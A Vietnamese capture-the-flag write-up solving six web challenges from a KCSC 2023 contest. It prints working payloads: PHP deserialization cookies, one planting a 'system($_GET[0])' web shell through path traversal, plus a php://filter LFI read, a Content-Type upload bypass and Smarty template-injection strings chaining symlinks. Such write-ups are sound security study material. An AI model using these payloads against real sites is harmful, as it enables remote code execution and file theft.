---
# System prepended metadata

title: KCSC_TTV-2023

---

# KCSC_TTV
Sau khi kết thúc giải thì bên MSEC có liên hệ bên KCSC để mượn nick làm thử. Giải rất hay và đã học hỏi thêm được rất nhiều kiến thức  

## Pokemon Hof Panel Level 1 
Bài cho phép chúng ta nhập tên và chọn 1 loại pokemon và sau đó check xem chúng ta có là Champion không:  

![image](https://hackmd.io/_uploads/HkP5I8_Dp.png)

![image](https://hackmd.io/_uploads/BJUkDLdPa.png)

Đọc source ta sẽ có được các thông tin sau:  
```php
class Trainer {
    public $name;
    public $starter;
    public $isChampion;

    public function __construct($name, $starter) {
        $this->name = $name;
        $this->starter = $starter;
        $this->isChampion = false;
    }


...
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST["name"])) {
        $name = $_POST["name"];
        $starter = $_POST["starter"];
        $user = new Trainer($name, $starter);
        $serializedUser = serialize($user);
        $base64Encoded = base64_encode($serializedUser);
        setcookie("trainer_data", $base64Encoded, time() + 3600);
        header("Location: ./champ.php");
    }
}
```
Việc khởi tạo `Trainer` sẽ luôn là `false`, vì thế thông qua việc khởi tạo thông thường ta sẽ không thể có Champion.  
```php
if (isset($_COOKIE["trainer_data"])) {
    $base64Encoded = $_COOKIE["trainer_data"];
    $serializedUser = base64_decode($base64Encoded);
    $user = unserialize($serializedUser);
    if (isChampion($user)) {
        $title = "Champion Pannel";
        $msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}";
    } else {
        $title = "Trainer Pannel";
        $msg = "Access denied. You are not a champion.";
    }
} else {
    $title = "Something's wrong!!!";
    $msg = "No trainer data found. Please choose your starter.";
}
```
Thông qua việc `deserialization` của Cookie, ta có thể dễ dàng sử dụng kỹ thuật này để setup `isChampion = true`  
```php
<?php 
class Trainer {
    public $name;
    public $starter;
    public $isChampion;

    public function __construct($name, $starter) {
        $this->name = $name;
        $this->starter = $starter;
        $this->isChampion = true;
    }
}
$user = new Trainer($name, $starter);
echo(base64_encode(serialize($user)));
?>
//Tzo3OiJUcmFpbmVyIjozOntzOjQ6Im5hbWUiO047czo3OiJzdGFydGVyIjtOO3M6MTA6ImlzQ2hhbXBpb24iO2I6MTt9
```

![image](https://hackmd.io/_uploads/HkJhKI_Pp.png)

Flag: `KCSC{n0w_y0u_kn0w_s3r1al1z3_f0m4rt}`

## Pokemon Hof Panel Level 2
Mục tiêu của bài 2 là RCE hệ thống, check source ta có những thông tin sau:  
```php
class Utils {
    private $error;
    private $logfile;

    function __construct() {
        $this->logfile = "_error.log";
    }

    public function __toString() {
        $this->writelog();
        return "Error: " . $this->error;
    } 

    public function writelog() {
        file_put_contents("/tmp/logs/".date('H_i_s').$this->logfile, $this->error);
    }
}
```
Class `Utils` ở hàm `writelog()` cho phép đưa nội dung error vào trong logfile, thông qua việc `deserialization` của Cookie và kiểm soát được 2 biến là `$logfile` và `$error`, ta có thể ghi shell vào trong 1 file bất kì do ta tạo ra. Hàm `__toString()` sẽ được kích hoạt khi gọi tới `$user->getname()`  
```php
<?php
class Utils {
    private $error;
    private $logfile;

    function __construct() {
        $this->error = '<?php system($_GET[0]); ?>';
        $this->logfile = "../../../../../../../var/www/html/update.php";
    }
} 
class Trainer {
    public $name;
    public $starter;
    public $isChampion;

    public function __construct($name, $starter) {
        $this->name = $name;
        $this->starter = $starter;
        $this->isChampion = true;
    }
}
$util = new Utils();
$user = new Trainer($util,"MSEC");
echo(base64_encode(serialize($user)));
?>
//Tzo3OiJUcmFpbmVyIjozOntzOjQ6Im5hbWUiO086NToiVXRpbHMiOjI6e3M6MTI6IgBVdGlscwBlcnJvciI7czoyNjoiPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4iO3M6MTQ6IgBVdGlscwBsb2dmaWxlIjtzOjQ0OiIuLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvdXBkYXRlLnBocCI7fXM6Nzoic3RhcnRlciI7czo0OiJNU0VDIjtzOjEwOiJpc0NoYW1waW9uIjtiOjE7fQ==
```

![image](https://hackmd.io/_uploads/HJ64aI_D6.png)

Flag: `KCSC{w3lc0me_t0_h4ll_0f_f4m3}`

## Mi Tom Thanh Long
Một bài liên quan đến LFI, trang web sẽ nhận biến `page` từ trang và đưa vào `include()` để đọc file:  

![image](https://hackmd.io/_uploads/H1paewOPa.png)

Ở bài này chúng ta sẽ có 2 cách:
+ `Wrapper` để đọc file pages/flag.php  
+ [LFI to RCE](https://hackmd.io/@endy/Skxms9eW2)  

Chúng ta sẽ làm cách đơn giản nhất, sau đó decode:
```php
?page=php://filter/read=convert.base64-encode/resource=pages/flag.php
```
Flag: `KCSC{Lan_Dau_Tien_Trai_Thanh_Long_Co_Trong_KCSC:))}
`

## Apply To KCSC
Một bài liên quan đến upload file nhưng chỉ cho phép file `pdf`.  

![image](https://hackmd.io/_uploads/BkgAGDuP6.png)

Sau một hồi check thì việc kiểm tra xem có phải là `pdf` không sẽ thông qua `Content-Type: application/pdf`. Tiến hành upload file `php` và lấy flag:

![image](https://hackmd.io/_uploads/rJBJED_wp.png)

Flag: `KCSC{W3lc0m3_T0_KCSC_2023____}`

## WarmupPHP 01 
Fuzzing ta sẽ có được path `/robots.txt` và từ đó có source:  
```php
 <?php
include('flag1.php');
include('flag2.php');
include_once('/app/vendor/autoload.php');
define('FLAG1', $flag1);

if(!isset($_GET['name'])) {
    header('Location: /?name=guest');
}

if (isset($_GET['source'])) {
    show_source(__FILE__);
}

$smarty = new Smarty();
$policy = new Smarty_Security($smarty);

if(str_starts_with($_GET['name'], 'kcsc')) {
    $policy->php_functions = $allow_php_func;
}

$smarty->enableSecurity($policy);
$smarty->display('string:KCSC hello fen, '.$_GET['name']); KCSC hello fen, guest
```
Dựa vào Template `Smarty` và chương trình ta đoán được đây là lỗ hổng SSTI.

![image](https://hackmd.io/_uploads/S1kcFPuDp.png)

Payload: `{$smarty.const.FLAG1}`

![image](https://hackmd.io/_uploads/HkL79Ddwa.png)

Flag: `KCSC{warmup01_begin_using_smarty}`


## WarmupPHP 02
Nội dung của `flag2.php.bak`:  
```php
<?php
function debug($input) {
    if (str_contains($input, '/') || str_contains($input, '.')) {
        die('invalid filepath');
    }
    if (strlen(readlink($input)) >= 128) {
        echo file_get_contents($input);
    }
}

$allow_php_func = [
    'debug',
    'symlink'
];
?>
```
Có 2 hàm được sử dụng là `debug` được định nghĩa và hàm `symlink` của PHP.  

![image](https://hackmd.io/_uploads/rySuhwOD6.png)

Ngoài ra, để dùng được `$allow_php_func` ta phải thõa mãn điều kiện:  
```php
if(str_starts_with($_GET['name'], 'kcsc')) {
    $policy->php_functions = $allow_php_func;
}
```
Ý tưởng là chúng ta sẽ symlink file `flag2.php` dần dần để thỏa mãn điều kiện `strlen(readlink($input)) >= 128` rồi sau đó thực hiện việc `debug` để đọc file.  
```php
?name=kcsc{assign var=msec1 value="flag2.php"}{assign var=msec2 value="msecteammmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm"}{assign var=msec3 value="msecteammmmmmmmmmmm"}{symlink($msec1,$msec2)}{symlink($msec2,$msec3)}{debug($msec3)}
```
Flag :`KCSC{warmup02_smarty_is_interesting}`